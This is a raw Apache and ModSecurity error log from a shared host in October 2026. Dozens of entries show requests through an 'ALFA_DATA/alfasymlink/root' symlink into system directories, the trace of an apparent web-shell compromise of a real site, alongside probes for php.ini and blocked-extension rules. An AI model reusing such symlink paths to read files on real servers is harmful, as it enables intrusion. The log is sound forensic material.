[Tue Oct 27 02:29:42.121326 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 54.90.244.132:10842] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:46.220694 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 54.235.125.129:28433] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:54.137086 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.213.240.226:57602] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:29:58.131196 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 54.221.203.24:13626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:30:06.154838 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.213.36.21:51764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:30:26.294228 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.83.240.58:18804] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:30:52.032891 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 85.208.96.206:24390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/cpu_partial
[Tue Oct 27 02:30:54.254924 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 54.235.172.96:48272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/bind
[Tue Oct 27 02:31:02.671083 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 185.191.171.12:35764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:31:06.134390 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 44.215.61.66:5984] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:31:10.156870 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 54.225.181.161:32188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/i2c-0/new_device
[Tue Oct 27 02:31:18.173708 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 34.233.114.237:60761] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:31:22.131541 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 23.23.213.182:23522] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:31:34.128385 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 34.238.45.183:43911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:00.171400 2026] [security2:error] [pid 3175289:tid 3175289] [client 185.191.171.8:49818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/amdgpu/topaz_mec.bin"] [unique_id "auBFX3Ap5o-kytosSOFHxwAAABU"]
[Tue Oct 27 02:32:00.171478 2026] [security2:error] [pid 3175289:tid 3175289] [client 185.191.171.8:49818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/amdgpu/topaz_mec.bin"] [unique_id "auBFX3Ap5o-kytosSOFHxwAAABU"]
[Tue Oct 27 02:32:02.038147 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 185.191.171.16:20844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/closing_wait
[Tue Oct 27 02:32:06.567849 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.217.82.254:3980] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:10.267384 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 100.28.44.58:8392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:14.154717 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.6.5.24:30242] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:22.281970 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 35.169.119.108:49956] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:26.809943 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 85.208.96.199:17324] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:30.152845 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.3.156.186:35633] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:34.151306 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.93.211.16:4615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:42.178363 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.215.235.20:14300] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:49.449370 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 185.191.171.11:50738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/slabs_cpu_partial
[Tue Oct 27 02:32:50.663012 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 98.83.226.125:59686] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:54.264730 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.207.89.138:48768] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:32:58.362515 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.210.114.189:21016] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:33:13.875454 2026] [security2:error] [pid 3175284:tid 3175284] [client 101.42.46.71:43380] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "auBFqUQFomyjz0g-y4eMyQAAAAo"], referer: http://sherwinpinturas.com
[Tue Oct 27 02:33:14.074590 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 101.42.46.71:43380] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Tue Oct 27 02:33:18.163545 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 54.235.172.108:63721] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:33:26.475695 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 52.22.64.232:13559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:33:30.207725 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.204.89.56:7524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:33:32.589238 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 185.191.171.11:48070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/trace
[Tue Oct 27 02:33:46.166198 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 54.156.248.117:50215] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:33:54.234289 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.6.232.201:59919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:33:58.142984 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.225.148.123:59386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:34:02.213947 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 3.94.157.25:11626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/subsystem/rescan
[Tue Oct 27 02:34:10.151517 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 34.225.24.180:38611] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:34:18.204818 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.221.227.90:6592] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:34:30.204400 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.219.81.66:39025] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:34:34.594353 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 52.3.104.214:62213] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:34:38.335323 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.133.69.37:52572] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "auBF_tOTO42xOmZCRV01fwAAAAE"]
[Tue Oct 27 02:34:46.148673 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 44.197.76.210:17000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:34:50.152432 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.83.56.1:40041] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:34:54.157572 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.234.197.175:17265] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:35:14.146648 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 54.159.18.27:6822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:35:22.148750 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.225.148.123:37512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:35:26.252603 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 98.84.70.201:21181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:1f/eject
[Tue Oct 27 02:35:30.288231 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 3.90.73.206:36015] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:35:35.487974 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.133.69.37:52572] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "auBF_tOTO42xOmZCRV01fwAAAAE"]
[Tue Oct 27 02:35:35.488030 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.133.69.37:52572] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "auBF_tOTO42xOmZCRV01fwAAAAE"]
[Tue Oct 27 02:35:38.146038 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 54.163.136.244:34880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:35:50.287718 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.231.45.47:40386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:35:54.448971 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.213.46.222:2422] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:35:55.678123 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 185.191.171.1:40446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/23/net/rpc/auth.unix.ip/content
[Tue Oct 27 02:35:55.678612 2026] [security2:error] [pid 3184470:tid 3184470] [client 185.191.171.1:40446] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/23/net/rpc/auth.unix.ip/content"] [unique_id "auBGS8oogewtr_DucUPvwAAAAAA"]
[Tue Oct 27 02:35:55.678646 2026] [security2:error] [pid 3184470:tid 3184470] [client 185.191.171.1:40446] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/23/net/rpc/auth.unix.ip/content"] [unique_id "auBGS8oogewtr_DucUPvwAAAAAA"]
[Tue Oct 27 02:35:56.027358 2026] [authz_core:error] [pid 3175289:tid 3175289] [client 54.151.50.188:48176] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:35:58.355629 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 18.232.12.157:29305] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:36:10.329705 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.215.235.20:20013] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:36:18.266909 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 18.209.201.119:31073] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:36:23.606067 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 35.205.121.111:60772] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:36:34.284062 2026] [ssl:error] [pid 3174286:tid 3174286] (5)Input/output error: [client 50.16.216.166:34926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:36:34.352561 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 85.208.96.201:57814] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:36:38.300546 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.206.65.8:28667] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:36:40.239918 2026] [authz_core:error] [pid 3157820:tid 3157820] [client 35.241.195.20:27850] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:36:43.620472 2026] [core:error] [pid 3175284:tid 3175284] [client 35.241.195.20:27872] AH00135: Invalid method in request HZOM / HTTP/1.1
[Tue Oct 27 02:36:48.495857 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 85.208.96.199:14938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/objects_partial
[Tue Oct 27 02:36:54.302062 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.3.26.180:37045] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:36:57.300902 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 185.191.171.4:11196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/objs_per_slab
[Tue Oct 27 02:36:58.701131 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.2.83.227:7093] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:02.328591 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 54.209.100.30:43946] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:06.520441 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 35.169.102.85:16781] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:18.323815 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.210.213.220:7054] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:22.481279 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 18.232.36.1:53987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:26.001936 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 185.191.171.13:45394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/CSPCSPFwd.lock
[Tue Oct 27 02:37:26.476224 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 54.84.147.79:10083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:07/eject
[Tue Oct 27 02:37:34.993743 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 50.16.216.166:27368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:38.353908 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 54.147.238.89:9321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/driver/bind
[Tue Oct 27 02:37:42.358363 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 52.202.233.37:9580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:46.423287 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.70.209.13:64124] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:37:48.307665 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 185.191.171.7:16198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/partial
[Tue Oct 27 02:37:51.403069 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.45.194.165:34142] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:38:06.448722 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.87.95.7:3123] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:38:10.628706 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.229.2.217:62039] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:38:29.995444 2026] [security2:error] [pid 3157820:tid 3157820] [client 16.216.88.157:45056] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "auBG5XEUzec1h8JdAIG7LwAAAA4"]
[Tue Oct 27 02:38:29.995983 2026] [security2:error] [pid 3157820:tid 3157820] [client 16.216.88.157:45056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "auBG5XEUzec1h8JdAIG7LwAAAA4"]
[Tue Oct 27 02:38:29.996351 2026] [security2:error] [pid 3157820:tid 3157820] [client 16.216.88.157:45056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/stats.conf"] [unique_id "auBG5XEUzec1h8JdAIG7LwAAAA4"]
[Tue Oct 27 02:38:34.450387 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 52.204.253.129:11626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:0c/eject
[Tue Oct 27 02:38:38.910389 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.205.163.103:30736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/ata1/ata_port/ata1/"] [unique_id "auBG7tOTO42xOmZCRV01iAAAAAE"]
[Tue Oct 27 02:38:38.910446 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.205.163.103:30736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/ata1/ata_port/ata1/"] [unique_id "auBG7tOTO42xOmZCRV01iAAAAAE"]
[Tue Oct 27 02:38:54.583730 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.71.216.196:3508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:38:58.495299 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.93.98.99:63819] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:39:02.560061 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.54.95.127:58032] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:39:06.452315 2026] [authz_core:error] [pid 3174426:tid 3174426] [client 138.3.223.188:64060] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:39:10.588449 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.205.127.11:24488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:39:11.145305 2026] [authz_core:error] [pid 3184472:tid 3184472] [client 138.3.223.188:50619] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:39:34.667387 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 107.22.208.39:22406] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:39:38.766083 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.194.134.53:4198] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:39:42.670284 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.213.106.226:33106] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:02.932619 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 54.90.244.132:4449] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:06.644485 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.196.237.236:41373] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:09.047482 2026] [core:crit] [pid 3184471:tid 3184471] (13)Permission denied: [client 85.208.96.200:25674] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chkservd/restart_track/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/chkservd/restart_track/' is executable
[Tue Oct 27 02:40:14.858291 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 98.84.60.17:59625] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:30.834471 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 34.236.41.241:22426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/PNP0303:00/subsystem/drivers_probe
[Tue Oct 27 02:40:34.844530 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 52.3.26.180:38806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:39.070522 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.90.73.206:3704] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:42.924826 2026] [ssl:error] [pid 3157820:tid 3157820] (5)Input/output error: [client 34.231.156.59:36313] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:46.965168 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.212.86.97:8829] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:50.740963 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.221.156.96:54170] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:54.821500 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.1.106.130:33661] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:40:58.986655 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 98.83.177.42:46051] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:41:04.549946 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.163.169.168:13854] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:41:06.924287 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 52.2.58.41:10580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:41:14.855924 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.225.181.161:16093] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:41:22.975593 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.215.59.93:32791] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:41:30.928491 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 34.196.6.199:3584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/driver/00:01/subsystem/drivers/rtc_cmos/unbind
[Tue Oct 27 02:41:39.428138 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 52.3.104.214:41168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:00/physical_node/driver/module/uevent
[Tue Oct 27 02:41:49.285960 2026] [authz_core:error] [pid 3169915:tid 3169915] [client 109.105.210.95:30616] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
